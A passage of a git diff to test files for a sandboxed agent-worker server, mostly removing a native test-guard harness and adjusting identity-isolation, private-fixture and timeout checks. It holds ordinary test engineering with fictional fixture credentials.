sharedGit && process.argv.includes("--boot-prune-capture"); @@ -42,38 +29,6 @@ stage("module-loaded"); const brain = "/brain-fixture/brain", root = profile === "strict" ? "/identity-server-private/server-ws-strict" : "/identity-server-private/server-ws"; const home = join(root, "home"), config = join(home, ".claude"), data = root; mkdirSync(data, { mode: 0o700, recursive: true }); mkdirSync(config, { recursive: true, mode: 0o700 }); -// Retain fresh and strict startup evidence; only bounded, scrubbed records persist. -if (defaultIdentityPhase(process.argv.slice(2)) === "fresh" || profile === "strict") process.argv.push(`--native-identity-startup-audit=${data}`); -// Actual separate-UID fixture: directory metadata is shared, file bytes are not. -const privateRoot=join(brain,"private"); -if (existsSync(privateRoot)) { - expect(process.getuid?.(),"PRIVATE_FIXTURE_GUARD_UID").toBe(21001); - expect(lstatSync(privateRoot).uid,"PRIVATE_FIXTURE_OWNER_UID").toBe(21002); - expect(lstatSync(privateRoot).mode & 0o007,"PRIVATE_FIXTURE_NO_WORLD_ACCESS").toBe(0); - const privateEntries=readdirSync(privateRoot); - expect(privateEntries,"PRIVATE_FIXTURE_PROVENANCE_TRAVERSABLE").toContain("result.md"); - const privateFile=join(privateRoot,privateEntries.includes(".gitattributes")?".gitattributes":"result.md"); - let readError: string | undefined; - try {readFileSync(privateFile);} catch(error) {readError=(error as NodeJS.ErrnoException).code;} - expect(readError,"PRIVATE_FIXTURE_CONTENTS_STAY_WORKER_ONLY").toBe("EACCES"); - const runtime=bundledClaudeBinary();if(!runtime)throw Error("installed SDK identity unavailable"); - // Plan only: no native process launches. The registered root is exercised by - // the real turn below; the same accessible, unregistered root must refuse. - const refusalReceipts=captureNativeReceipts(); - const refused=Bun.spawnSync([process.execPath,"-e",` - import {nativeWorkerBoundary,nativeScriptedService} from "/repo/scripts/test-native-guard.ts"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(home)}]}); - nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true",${JSON.stringify(runtime)}],brainPath:${JSON.stringify(home)},env:{HOME:${JSON.stringify(home)}},argv:["bwrap","--ro-bind",${JSON.stringify(privateRoot)},"/tmp/odysseus-private","--","/usr/bin/true",${JSON.stringify(runtime)}]})}); - `],{env:{...process.env,...refusalReceipts.env},stdout:"pipe",stderr:"pipe"}); - const refusalText=refused.stderr.toString()+refusalReceipts.read();refusalReceipts.dispose(); - expect(refused.exitCode,"PRIVATE_FIXTURE_UNREGISTERED_ROOT_REFUSES").not.toBe(0); - expect(refusalText).toContain("worker bind was not created or staged by the fixture"); - expect(refusalText).toContain('"nativeLaunched":false'); -} const requests: Array<{ model: string; history: number; apiCredential: boolean }> = []; // Native worker calls this loopback provider directly. The outer Docker network // namespace has no external route; no fetch implementation or native SDK is mocked. @@ -82,16 +37,13 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ model: body.model, history: body.messages.length, apiCredential: request.headers.get("x-api-key") === "odysseus-fictional-api-key" }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, home], fixtureCredentials:{ANTHROPIC_API_KEY:"odysseus-fictional-api-key"} }); -const backend = createClaudeBackend({ brainPath: brain, queryFn: nativeScriptedQuery(query, provider.url.origin), profiles: [{ id: "odysseus-haiku", label: "Odysseus Haiku", billing: "api", +const backend = createClaudeBackend({ brainPath: brain, profiles: [{ id: "odysseus-haiku", label: "Odysseus Haiku", billing: "api", requiredEnvKeys: [], model: "claude-haiku-4-5", buildEnv: () => ({ ANTHROPIC_BASE_URL: provider.url.origin, ANTHROPIC_API_KEY: "odysseus-fictional-api-key", HOME: home, CLAUDE_CONFIG_DIR: config, PATH: "/usr/local/bin:/usr/bin:/bin", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }) }], log() {} }); -const closeFixtureManagers=observeNativeProofStages(); const backendProfiles: Array = []; const admissionReads: Array[0]["bridge"]["admissionSafety"]>["read"]>> = []; -const observedBackend = { ...backend, async startTurn(request: Parameters[0]) { - nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, home], fixtureCredentials:{ANTHROPIC_API_KEY:"odysseus-fictional-api-key"} }); +const observedBackend = { ...backend, startTurn(request: Parameters[0]) { backendProfiles.push(request.workerSandbox?.profile); // Observe the real host gate synchronously, returning each original read // unchanged. Native refusals otherwise collapse to a generic HTTP 403. @@ -104,22 +56,12 @@ const observedBackend = { ...backend, async startTurn(request: Parameters{ - started?.(worker); - // The existing callback receives the full worker at runtime; its public - // request type intentionally exposes only control/lifecycle operations. - const full=worker as LaunchedWorker,bootstrap=nativeBootstraps.get(full.pid); - if(bootstrap)observeNativeWorkerStartup(full,bootstrap,[secret,"odysseus-fictional-api-key"]); - }; - const leave=request.workerSandbox?.dataTree&&request.workerStartupView?nativeFixtureTurnDataTree(provider.url.origin,brain,request.workerStartupView,request.workerSandbox.dataTree):undefined; - try{return await backend.startTurn(request);}finally{leave?.();} + return backend.startTurn(request); } }; const observability = createRecordingObservability(), secret = "odysseus-fixture-cookie-secret-0123456789"; let app: Awaited> | undefined; let server: ReturnType | undefined; let socket: WebSocket | undefined; -let timingWindow:ReturnType|undefined,timing:ReturnType["close"]>|undefined; const spawnDescriptor = Object.getOwnPropertyDescriptor(Bun, "spawn")!, spawn = Bun.spawn, observedAdapters = new Set(); Object.defineProperty(Bun, "spawn", { ...spawnDescriptor, value: (...args: any[]) => { const options = Array.isArray(args[0]) ? args[1] : args[0]; @@ -138,16 +80,7 @@ Object.defineProperty(Bun, "spawn", { ...spawnDescriptor, value: (...args: any[] classes: ["attested-stage-container", "git-adapter", "frozen-config"], nodes } })); } } - const child=Reflect.apply(spawn, Bun, args) as Bun.Subprocess; - if(launch) { - const command=JSON.parse(launch).command as string[]|undefined; - if(command?.[0] && isNativeClaude(command[0],command.slice(1))) { - nativeBootstraps.set(child.pid,child); - void child.exited.then(code=>console.error(JSON.stringify({kind:"native-fixture-bootstrap-exit",exitCode:code,signal:child.signalCode})), - ()=>console.error(JSON.stringify({kind:"native-fixture-bootstrap-exit",exitCode:null,signal:child.signalCode}))); - } - } - return child; + return Reflect.apply(spawn, Bun, args); } }); // Local diagnostic artifact only: fixed disposable fixture root, no contents or recursion. function recordFixtureRootMetadata(phase: "before-app" | "after-app") { @@ -229,24 +162,12 @@ try { const NativeWebSocket = WebSocket as unknown as { new(url: string, options: { headers: Record }): WebSocket }; stage("ws:start"); socket = new NativeWebSocket(`ws://127.0.0.1:${server.port}/ws`, { headers: { cookie, origin: `http://127.0.0.1:${server.port}` } }); - let submittedAt:number|undefined,nativeAckMs:number|undefined,acknowledgedAt:number|undefined; - - socket.addEventListener("message",event=>{const frame=JSON.parse(String(event.data));frames.push(frame);if(submittedAt!==undefined&&frame.type==="session_info"&&frame.requestId==="ithaca-ordinary"&&nativeAckMs===undefined){timing=timingWindow!.close();acknowledgedAt=timing.windowEndMs;nativeAckMs=timing.rawMs;}}); + socket.addEventListener("message", event => frames.push(JSON.parse(String(event.data)))); await until(() => frames.some(frame => frame.type === "server_hello"), "REAL_SERVER_HELLO"); socket.send(JSON.stringify({ type: "client_hello", protocolRev: 3, capabilities: { followUpQueue: true } })); - timingWindow=nativeFixtureGuardTimingWindow();submittedAt=timingWindow.startMs; socket.send(JSON.stringify({ type: "chat_message", text: "Plan the return to Ithaca.", providerId: "odysseus-haiku", requestId: "ithaca-ordinary" })); await until(() => frames.some(frame => frame.type === "result" || frame.type === "error"), "REAL_SERVER_NATIVE_TERMINAL"); await until(() => !app!.wsHost.coordinator.isTurnActive(), "REAL_SERVER_RELEASED_TURN"); - if(nativeAckMs===undefined)console.log(JSON.stringify({actualNativeAckDiagnostics:{profile,warm,frames:frames.map(frame=>({type:frame.type,requestId:frame.requestId,sessionId:frame.sessionId,turnId:frame.turnId,outcome:frame.outcome,code:frame.code}))}})); - expect(nativeAckMs,"ACTUAL_NATIVE_MANAGED_ACK_OBSERVED").toBeDefined(); - // Product timing excludes only the union of the guard's own closed-list - // intervals inside this exact submit/ack window. Product work is never timed - // as guard work. See docs/process/testing.md#watchdogs-and-product-timings. - if(!timing)throw Error("ACTUAL_NATIVE_MANAGED_ACK_TIMING_MISSING"); - console.log(JSON.stringify({actualNativeManagedAck:{profile,warm,...timing,findings:nativeFixtureFindingCounts(),setup:nativeFixtureSetupCounts(),budgetMs:10_000,rawWatchdogMs:30_000}})); - expect(timing.rawMs,"ACTUAL_NATIVE_MANAGED_ACK_RAW_WATCHDOG").toBeLessThan(30_000); - expect(timing.productMs,"ACTUAL_NATIVE_MANAGED_ACK_WITHIN_10_SECONDS").toBeLessThan(10_000); const admittedProfiles = app.db.query("SELECT profile FROM turn_governance_policy").all(); expect(admittedProfiles, "ACTUAL_MANAGED_WS_SELECTED_PROFILE").toEqual(Array.from({ length: warm ? 2 : 1 }, () => ({ profile }))); expect(backendProfiles, "ACTUAL_MANAGED_WS_BACKEND_SANDBOX").toEqual([profile]); @@ -274,7 +195,6 @@ try { console.log(JSON.stringify({ actualOwnedScratchPruneJoined: { profile, warm } })); } } finally { try { - timingWindow?.dispose(); stage("cleanup:start"); try { socket?.close(); } finally { try { server?.stop(true); } finally { @@ -286,4 +206,4 @@ try { console.log(JSON.stringify({ actualMaintenanceFinalDiagnostics: observability.logs.records().filter(log => String(log.body).includes("version probe failed") || String(log.body).includes("scratch prune failed")).map(log => ({ body: log.body, attributes: log.attributes })) })); if (sharedGit) expect(observability.logs.records().filter(log => String(log.body).includes("version probe failed") || String(log.body).includes("scratch prune failed")), "SHARED_GIT_FRESH_WARM_CLI_SCRATCH_DIAGNOSTICS_CLEAN").toEqual([]); - } finally { try { dbObservation?.restore(); } finally { try { ownedBootPrune?.restore(); } finally { Object.defineProperty(Bun, "spawn", spawnDescriptor);closeFixtureManagers(); } } } } + } finally { try { dbObservation?.restore(); } finally { try { ownedBootPrune?.restore(); } finally { Object.defineProperty(Bun, "spawn", spawnDescriptor); } } } } diff --git a/packages/ui-sdk/tests/fixtures/private-fixture-directory-access.ts b/packages/ui-sdk/tests/fixtures/private-fixture-directory-access.ts deleted file mode 100644 index d7d783b40e..0000000000 --- a/packages/ui-sdk/tests/fixtures/private-fixture-directory-access.ts +++ /dev/null @@ -1,18 +0,0 @@ -/** Fixture-only metadata access for the guard before the identity handoff. */ -export const PRIVATE_FIXTURE_DIRECTORY_ACCESS = `import json,os,stat,struct,sys -root,owner,reader=sys.argv[1:] -owner,reader=int(owner),int(reader) -assert owner!=reader -changed=[] -for directory,dirs,files in os.walk(root,followlinks=False): - info=os.lstat(directory) - if not stat.S_ISDIR(info.st_mode) or info.st_uid!=owner or info.st_mode & 0o077: - continue - # Preserve owner access; only this named reader gets metadata traversal. - # No file ACLs change, and neither the owning group nor others get access. - entries=[(1,(info.st_mode >> 6) & 7,0xffffffff),(2,5,reader),(4,0,0xffffffff),(16,5,0xffffffff),(32,0,0xffffffff)] - acl=struct.pack(' ({ ANTHROPIC_BASE_URL: provider.url.origin, ANTHROPIC_API_KEY: "odysseus-fictional-api-key", HOME: home, CLAUDE_CONFIG_DIR: config, PATH: "/usr/local/bin:/usr/bin:/bin", @@ -196,4 +191,4 @@ try { console.log(JSON.stringify({ actualMaintenanceFinalDiagnostics: observability.logs.records().filter(log => String(log.body).includes("version probe failed") || String(log.body).includes("scratch prune failed")).map(log => ({ body: log.body, attributes: log.attributes })) })); if (sharedGit) expect(observability.logs.records().filter(log => String(log.body).includes("version probe failed") || String(log.body).includes("scratch prune failed")), "SHARED_GIT_FRESH_WARM_CLI_SCRATCH_DIAGNOSTICS_CLEAN").toEqual([]); - } finally { releaseFixtureStages();try { dbObservation?.restore(); } finally { try { ownedBootPrune?.restore(); } finally { Object.defineProperty(Bun, "spawn", spawnDescriptor); } } } } + } finally { try { dbObservation?.restore(); } finally { try { ownedBootPrune?.restore(); } finally { Object.defineProperty(Bun, "spawn", spawnDescriptor); } } } } diff --git a/packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts b/packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts index cd045bac03..9dc2d60867 100644 --- a/packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts +++ b/packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts @@ -1,4 +1,3 @@ -import {nativeFixtureDirectory, registerNativeFixtureKeeper} from "../../../../scripts/test-native-guard.ts"; /** Immutable configuration execution inputs. No git, imports, links followed or shared inodes. */ import { closeSync, constants, fstatSync, lstatSync, mkdirSync, mkdtempSync, openSync, readdirSync, readlinkSync, readSync, rmdirSync, unlinkSync, symlinkSync, writeSync, chmodSync, fchmodSync, ftruncateSync, futimesSync, utimesSync, writeFileSync } from "node:fs"; @@ -78,7 +77,7 @@ os.rmdir(sys.argv[1]) function createStartupInputStorage(): WorkerStartupStorage { const python = Bun.which("python3"); if (!python) throw new Error("python3 is required for immutable startup input crash cleanup"); - const root = nativeFixtureDirectory("brain-startup-input-"); + const root = mkdtempSync("/tmp/brain-startup-input-"); let keeper: ReturnType>; try { keeper = Bun.spawn([python, "-I", "-S", "-c", INPUT_CLEANUP, root], { env: {}, stdin: "pipe", stdout: "ignore", stderr: "ignore" }); } catch (error) { removePrivateView(root); throw error; } @@ -211,9 +210,7 @@ export function prepareFixtureWorkerOutput(brain: string, options: Parameters void; - try { unregister=registerNativeFixtureKeeper(output.output.storage!); } catch(error) { output.cleanup(); throw error; } - return { ...output, cleanup() { try { output.cleanup(); } finally { try { unregister(); } finally { if (!options.startupView) view.cleanup(); } } } }; + return { ...output, cleanup() { try { output.cleanup(); } finally { if (!options.startupView) view.cleanup(); } } }; } catch (error) { if (!options.startupView) view.cleanup(); throw error; } } @@ -224,14 +221,12 @@ export async function prepareFixtureNativeWorkerOutput(brain: string, options: { let publication: ReturnType; try { publication = prepareWorkerOutput(brain, { startupView: view, areas: options.areas }); } catch (error) { await view.cleanup(); throw error; } - let unregister: () => void; - try { unregister=registerNativeFixtureKeeper(publication.output.storage!); } catch(error) { try { await publication.cleanup(); } finally { await view.cleanup(); } throw error; } let cleanup: Promise | undefined; return { view, output: publication.output, discardGit() { publication.discardGit(); }, async publish() { publication.publish(); }, async publishLocked(lock) { await publication.publishLocked(lock); }, - cleanup() { return cleanup ??= (async () => { try { await publication.cleanup(); } finally { try { unregister(); } finally { await view.cleanup(); } } })(); }, + cleanup() { return cleanup ??= (async () => { try { await publication.cleanup(); } finally { await view.cleanup(); } })(); }, }; } diff --git a/packages/ui-sdk/tests/maintenance-index-refusals.native.ts b/packages/ui-sdk/tests/maintenance-index-refusals.native.ts index 374701a8d1..e47052144a 100644 --- a/packages/ui-sdk/tests/maintenance-index-refusals.native.ts +++ b/packages/ui-sdk/tests/maintenance-index-refusals.native.ts @@ -7,7 +7,6 @@ import { prepareNativeWorkerStartupView } from "../src/server/worker-startup-vie import { prepareNativeWorkerOutput } from "../src/server/worker-native-output.js"; import { prepareMaintenanceGitInput, prepareMaintenanceWorker, runMaintenanceWorker, type MaintenanceCommand } from "../src/server/maintenance-worker.js"; import { probeWorkerHost } from "../src/server/worker-launcher.js"; -export async function proveMaintenanceIndexRefusals():Promise{ const brain = "/brain-fixture/brain"; if (process.getuid?.() !== 21001) throw Error("Disposable native index fixture requires its server UID"); const probe = probeWorkerHost(brain, { profile: "governed", stateBytes: 1024 ** 2, turnTempBytes: 1024 ** 2 }); @@ -73,6 +72,3 @@ if k=="super-journal":open(p+"-journal","wb").write(bytes(56)+(56).to_bytes(4,"b } } for (const suffix of ["", "-wal", "-shm", "-journal"]) rmSync(`${brain}/.brain-index/brain.db${suffix}`, { force: true }); - -} -if(import.meta.main)await proveMaintenanceIndexRefusals(); diff --git a/packages/ui-sdk/tests/maintenance-stage-provenance.native.ts b/packages/ui-sdk/tests/maintenance-stage-provenance.native.ts index 4ad360d026..42172b8eb4 100644 --- a/packages/ui-sdk/tests/maintenance-stage-provenance.native.ts +++ b/packages/ui-sdk/tests/maintenance-stage-provenance.native.ts @@ -16,11 +16,9 @@ export async function captureMaintenanceStage(brain: string) { if (!probe.ok) throw Error(`MAINTENANCE_STAGE_REAL_IDENTITY_PROBE_REFUSED: ${probe.requirement}`); const client = createNativeBrainManagerClient({ socketPath: "/native-runtime/server-ws-manager.sock" }); let stage: NativeStage | undefined; - // Observe the real client in place so its pinned fixture identity survives. - const manager = client, prepareStage = client.prepareStage.bind(client); - manager.prepareStage = async (...args: Parameters) => { - stage = await prepareStage(...args); return stage; - }; + const manager = { ...client, async prepareStage(...args: Parameters) { + stage = await client.prepareStage(...args); return stage; + } }; const aliases = [".env.relative-proof", ".env.absolute-proof", ".env.parent-proof"]; const secretRoot = `${brain}/odysseus-mask-proof`; mkdirSync(secretRoot, { mode: 0o755 }); mkdirSync(`${secretRoot}/actual`, { mode: 0o755 }); @@ -81,7 +79,7 @@ print(json.dumps(r)) `] }); expect(gitTopology.exitCode, "ACTUAL_STAGE_GIT_TOPOLOGY_OBSERVED").toBe(0); console.log(JSON.stringify({ actualStageGitTopology: JSON.parse(gitTopology.stdout) })); - const refusedBeforePayload = async (label: string, action: () => unknown | Promise, message?: string) => { + const refusedBeforePayload = async (label: string, action: () => unknown | Promise) => { const descriptor = Object.getOwnPropertyDescriptor(Bun, "spawn")!, original = Bun.spawn; let payload = false; Object.defineProperty(Bun, "spawn", { ...descriptor, value: (...args: any[]) => { @@ -92,7 +90,7 @@ print(json.dumps(r)) try { let refusal: unknown; try { await action(); } catch (error) { refusal = error; } - expect(refusal, label).toBeDefined();if(message)expect(String(refusal), `${label}_PRODUCT_CAUSE`).toBe("Error: "+message); expect(payload, `${label}_BEFORE_PAYLOAD`).toBe(false); + expect(refusal, label).toBeDefined(); expect(payload, `${label}_BEFORE_PAYLOAD`).toBe(false); } finally { Object.defineProperty(Bun, "spawn", descriptor); } console.log(JSON.stringify({ nativeMaintenanceRefusal: label, beforePayload: true })); }; @@ -103,7 +101,7 @@ print(json.dumps(r)) const stale = base(); await prepareMaintenanceWorker(stale); expect((await runMaintenanceWorker({ ...base(), command: ["/bin/sh", "-c", 'printf unpublished > "$BRAIN_ROOT/.brain-maintenance-unpublished"'] })).exitCode, "FRESH_NATIVE_MAINTENANCE_COMMAND").toBe(0); - await refusedBeforePayload("STALE_NATIVE_MAINTENANCE_GENERATION", () => launchMaintenanceWorker(stale), "native maintenance command changed after mask preparation"); + await refusedBeforePayload("STALE_NATIVE_MAINTENANCE_GENERATION", () => launchMaintenanceWorker(stale)); const changed = base(); await prepareMaintenanceWorker(changed); changed.command = ["/bin/false"]; await refusedBeforePayload("CHANGED_NATIVE_MAINTENANCE_COMMAND", () => launchMaintenanceWorker(changed)); const replay = base(); await prepareMaintenanceWorker(replay); @@ -167,7 +165,7 @@ print(json.dumps(r)) const listenerCode = String.raw` import json,os,socket,struct,sys s=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) -s.settimeout(120) +s.settimeout(15) s.bind(sys.argv[1]); os.chmod(sys.argv[1],0o660) s.listen(1) open(sys.argv[2],"w").close() diff --git a/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.ts b/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.ts index 909ce01639..90cba9b84e 100644 --- a/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.ts +++ b/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.ts @@ -55,12 +55,12 @@ function observeChild(child: LedgerChild, diagnosticBytes: number) { const observations = new WeakMap>(); /** Observe before reading. A smaller nested tail leaves room in its parent diagnostic. */ -export async function ledgerChildLine(child: LedgerChild, phase: string, diagnosticBytes = DIAGNOSTIC_BYTES, receiptTimeoutMs = RECEIPT_TIMEOUT_MS): Promise { +export async function ledgerChildLine(child: LedgerChild, phase: string, diagnosticBytes = DIAGNOSTIC_BYTES): Promise { let stdout = Buffer.alloc(0); let observation = observations.get(child); if (!observation) { observation = observeChild(child, diagnosticBytes); observations.set(child, observation); } let timeout: ReturnType | undefined; - const deadline = new Promise((_, reject) => { timeout = setTimeout(() => reject(new Error("owned ledger child did not report its phase")), receiptTimeoutMs); }); + const deadline = new Promise((_, reject) => { timeout = setTimeout(() => reject(new Error("owned ledger child did not report its phase")), RECEIPT_TIMEOUT_MS); }); try { return await readLine(child.stdout, deadline, bytes => { stdout = retain(stdout, bytes, diagnosticBytes); }); } catch (cause) { // EOF can precede the exit callback, or a descendant can keep stderr open. diff --git a/packages/ui-sdk/tests/private-git-inputs.native.ts b/packages/ui-sdk/tests/private-git-inputs.native.ts index aafc366129..adcd8a4605 100644 --- a/packages/ui-sdk/tests/private-git-inputs.native.ts +++ b/packages/ui-sdk/tests/private-git-inputs.native.ts @@ -9,7 +9,7 @@ import { prepareMaintenanceOutput } from "../../ui-server/src/brain/maintenance- import { prepareMaintenanceGit } from "../../ui-server/src/brain/maintenance-git.js"; import { createHostBoundary } from "../../ui-server/src/brain/host-boundary.js"; import type { MaintenanceCommand } from "../src/server/maintenance-worker.js"; -export async function provePrivateGitInputs(positiveOnly = false):Promise{ +const positiveOnly = new URL(import.meta.url).searchParams.has("positive-only"); const started = performance.now(); const observe = (phase: string) => console.log(JSON.stringify({ privateGitPhase: phase, elapsedMs: performance.now() - started })); observe("module-loaded"); @@ -135,6 +135,3 @@ for (const kind of ["zero-attribute", "zero-directory", "attribute-alias", "fore } if (positiveOnly) console.log(JSON.stringify({ privateGitQualificationScope: "positive-setup-only", skippedRefusalControls: 6 })); console.log(JSON.stringify({ actualPrivateGitSources: { uid: 21002, serverReadDenied: true, attributePolicy: "ithaca", repositoryHookExecuted: true } })); - -} -if(import.meta.main)await provePrivateGitInputs(); diff --git a/packages/ui-sdk/tests/private-publication-transition.native.ts b/packages/ui-sdk/tests/private-publication-transition.native.ts index a17a3c9305..ba09654936 100644 --- a/packages/ui-sdk/tests/private-publication-transition.native.ts +++ b/packages/ui-sdk/tests/private-publication-transition.native.ts @@ -4,13 +4,12 @@ import { lstatSync, mkdirSync, readFileSync, readdirSync, rmdirSync, symlinkSync import { Readable } from "node:stream"; import { createNativeBrainManagerClient } from "../src/server/native-brain-manager-client.js"; import { prepareNativeWorkerStartupView } from "../src/server/worker-startup-view.js"; -import { launchAgentWorker, verifiedWorkerIdentity } from "../src/server/worker-launcher.js"; +import { launchAgentWorker } from "../src/server/worker-launcher.js"; import type { MaintenanceCommand } from "../src/server/maintenance-worker.js"; import { prepareMaintenanceOutput } from "../../ui-server/src/brain/maintenance-output.js"; import { createRecordingLoggerProvider } from "../../ui-server/src/observability/loggers.js"; import { prepareMaintenanceGit, privateGitSources } from "../../ui-server/src/brain/maintenance-git.js"; -export async function provePrivatePublicationTransition():Promise{ const brain = "/brain-fixture/brain", directory = `${brain}/.brain/scratch/private`, file = `${directory}/result.md`; const text = "Odysseus private stage publication", policy = "*.md odysseus=ithaca\n", sentinel = "Odysseus private server sentinel"; if (process.getuid?.() !== 21001 || process.env.BRAIN_UI_WORKER_IDENTITY_HELPER !== "/usr/local/bin/identity-helper") @@ -71,13 +70,7 @@ async function collect() { validate(); // Positive: the worker withholds the server-owned private directory, and the // server reads its policy under its own identity. Nothing is retired. -const cacheBefore = verifiedWorkerIdentity(brain); -expect(cacheBefore, "PRODUCT_CACHE_EMPTY_AFTER_DELIBERATE_FAILED_PROBES").toBeUndefined(); const positive = await collect(); -expect(verifiedWorkerIdentity(brain), "GUARD_REQUALIFICATION_NEVER_WARMS_PRODUCT_CACHE").toEqual(cacheBefore); -expect(String(positive.refused), "GUARD_REQUALIFICATION_NEXT_PRODUCT_DECISION_MATCHES_UNGUARDED") - .toBe("Error: Native private output requires a successfully qualified worker identity"); -console.log(JSON.stringify({guardQualificationCacheParity:"pass",productCache:"empty",nextDecision:"identity-required"})); expect(positive.collector, "STRICT_PRIVATE_PUBLICATION_WORKER_COLLECTOR_ACCEPTS").toEqual([]); expect(positive.owner, "STRICT_PRIVATE_PUBLICATION_OWNER_READ_ACCEPTS").toEqual([]); expect(String(positive.refused ?? ""), "STRICT_PRIVATE_PUBLICATION_GIT_SOURCES_FROZEN").not.toContain("Cannot freeze retained concrete Git sources"); @@ -144,6 +137,3 @@ validate(); console.log(JSON.stringify({ strictPrivatePublicationMaintenance: { serverOwner: 21001, directoryMode: 0o700, fileMode: 0o600, nodesRetained: 2, collectorWithheld: true, ownerRead: "accepted", frozenPolicy: "ithaca", refusals: ["foreign-worker-directory", "server-secret-alias"] } })); - -} -if(import.meta.main)await provePrivatePublicationTransition(); diff --git a/packages/ui-sdk/tests/worker-launcher.test.ts b/packages/ui-sdk/tests/worker-launcher.test.ts index fbd74908a3..5afe91f392 100644 --- a/packages/ui-sdk/tests/worker-launcher.test.ts +++ b/packages/ui-sdk/tests/worker-launcher.test.ts @@ -1,5 +1,4 @@ import { watchdogMs } from "../../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../../scripts/test-native-guard"; import { launchFixtureAgentWorker as launchAgentWorker } from "./helpers/worker-startup-view-fixture.js"; import { describe, expect, spyOn, test } from "bun:test"; import { closeSync, linkSync, mkdirSync, symlinkSync, mkdtempSync, openSync, readdirSync, readFileSync, rmSync, statfsSync, writeFileSync } from "node:fs"; @@ -159,7 +158,7 @@ os.execve(${JSON.stringify(boot.command[0])}, ${JSON.stringify(boot.command)}, $ } finally { closeSync(fd); pipes.cleanup(); f.cleanup(); } }); - test("actual configured-brain probe passes and removes all disposable sentinels", async () => { + test("actual configured-brain probe passes and removes all disposable sentinels", () => { const f = fixture(); try { expect(probeWorkerHost(f.brain)).toEqual({ ok: true }); @@ -168,16 +167,13 @@ os.execve(${JSON.stringify(boot.command[0])}, ${JSON.stringify(boot.command)}, $ const versions = Object.fromEntries(["@anthropic-ai/claude-agent-sdk", "@earendil-works/pi-coding-agent", "@schlessera/brain-backend-claude", "@schlessera/brain-backend-pi"].map(name => [name, JSON.parse(readFileSync(join(ROOT, "node_modules", name, "package.json"), "utf8")).version])); - // Version observation uses the same qualified native boundary as SDK turns. - const service = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch: () => new Response("Ithaca") }); - const restoreService = nativeScriptedService(service.url.origin); - const native = Bun.spawn([ + // The native observer is outside the JS network guard. Its version-only + // execution gets a denied network namespace and read-only host root. + const native = Bun.spawnSync([Bun.which("bwrap")!, "--unshare-net", "--ro-bind", "/", "/", "--proc", "/proc", "--dev", "/dev", join(ROOT, "node_modules", `@anthropic-ai/claude-agent-sdk-linux-${process.arch}`, "claude"), "--version"], { env: {}, stdout: "pipe", stderr: "pipe" }); - const [code, version] = await Promise.all([native.exited, new Response(native.stdout).text()]); - restoreService(); service.stop(true); - expect(code).toBe(0); - versions["claude-code"] = version.trim(); + expect(native.exitCode).toBe(0); + versions["claude-code"] = native.stdout.toString().trim(); const mount = Bun.spawnSync([Bun.which("findmnt")!, "--target", f.brain, "--noheadings", "--output", "FSTYPE"]); expect(mount.exitCode).toBe(0); const tuple = { architecture: process.arch, kernel: release(), bun: Bun.version, diff --git a/packages/ui-sdk/tests/worker-steps-event-loop.test.ts b/packages/ui-sdk/tests/worker-steps-event-loop.test.ts index e391688123..1f4635619c 100644 --- a/packages/ui-sdk/tests/worker-steps-event-loop.test.ts +++ b/packages/ui-sdk/tests/worker-steps-event-loop.test.ts @@ -581,7 +581,7 @@ function heldRootSeam(f: ReturnType, status: () => IdentityWorke const real = broker = prepare(...args); control = identityControl(real, { delayMs: 100 }); const requested = new Set(args[2].map(root => root.name)); - return { ...real, command: ["/usr/bin/python3", "-I", "-S", "-c", 'import os,sys,time\nfor target,path in [(7,sys.argv[1]),(8,sys.argv[2])]:\n fd=os.open(path,os.O_RDONLY|os.O_DIRECTORY)\n os.dup2(fd,target)\n if fd!=target: os.close(fd)\ntime.sleep(30)', roots.state, roots.temp], + return { ...real, command: ["/bin/sh", "-c", 'exec 7<"$1" 8<"$2"; exec sleep 30', "sh", roots.state, roots.temp], *readySteps(supervisor: number) { // Until its bootstrap has executed the shell, those descriptors are the bootstrap's own. const holds = (fd: number, root: string) => { try { return readlinkSync(`/proc/${supervisor}/fd/${fd}`) === root; } catch { return false; } }; diff --git a/packages/ui-server/tests/account-partition.test.ts b/packages/ui-server/tests/account-partition.test.ts index 2f2bc34a32..4611dcc075 100644 --- a/packages/ui-server/tests/account-partition.test.ts +++ b/packages/ui-server/tests/account-partition.test.ts @@ -1,5 +1,4 @@ import { afterAll, beforeAll, describe, expect, test } from "bun:test"; -import { watchdogMs } from "../../../scripts/test-deadlines"; import { mkdirSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; @@ -101,7 +100,7 @@ describe("account partition key (#1014)", () => { const otherRoot = await host({ db: "ithaca.db", brain: "pylos" }); expect(await keyOf(otherRoot, { cookie: await signIn(otherRoot) })).not.toBe(key); await otherRoot.close(); - }, watchdogMs(120_000)); // Several real app lifetimes; no product deadline. + }); test("an agent principal never gets the owner's key", async () => { const app = await host({ db: "agents.db", brain: "ithaca" }); @@ -132,7 +131,7 @@ describe("account partition key (#1014)", () => { expect(await keyOf(proxy, { "x-forwarded-user": "penelope" })).toBe(penelope); expect(await keyOf(proxy, { "x-forwarded-user": "telemachus" })).not.toBe(penelope); await proxy.close(); - }, watchdogMs(120_000)); + }); test("every owner login method is the one owner; only 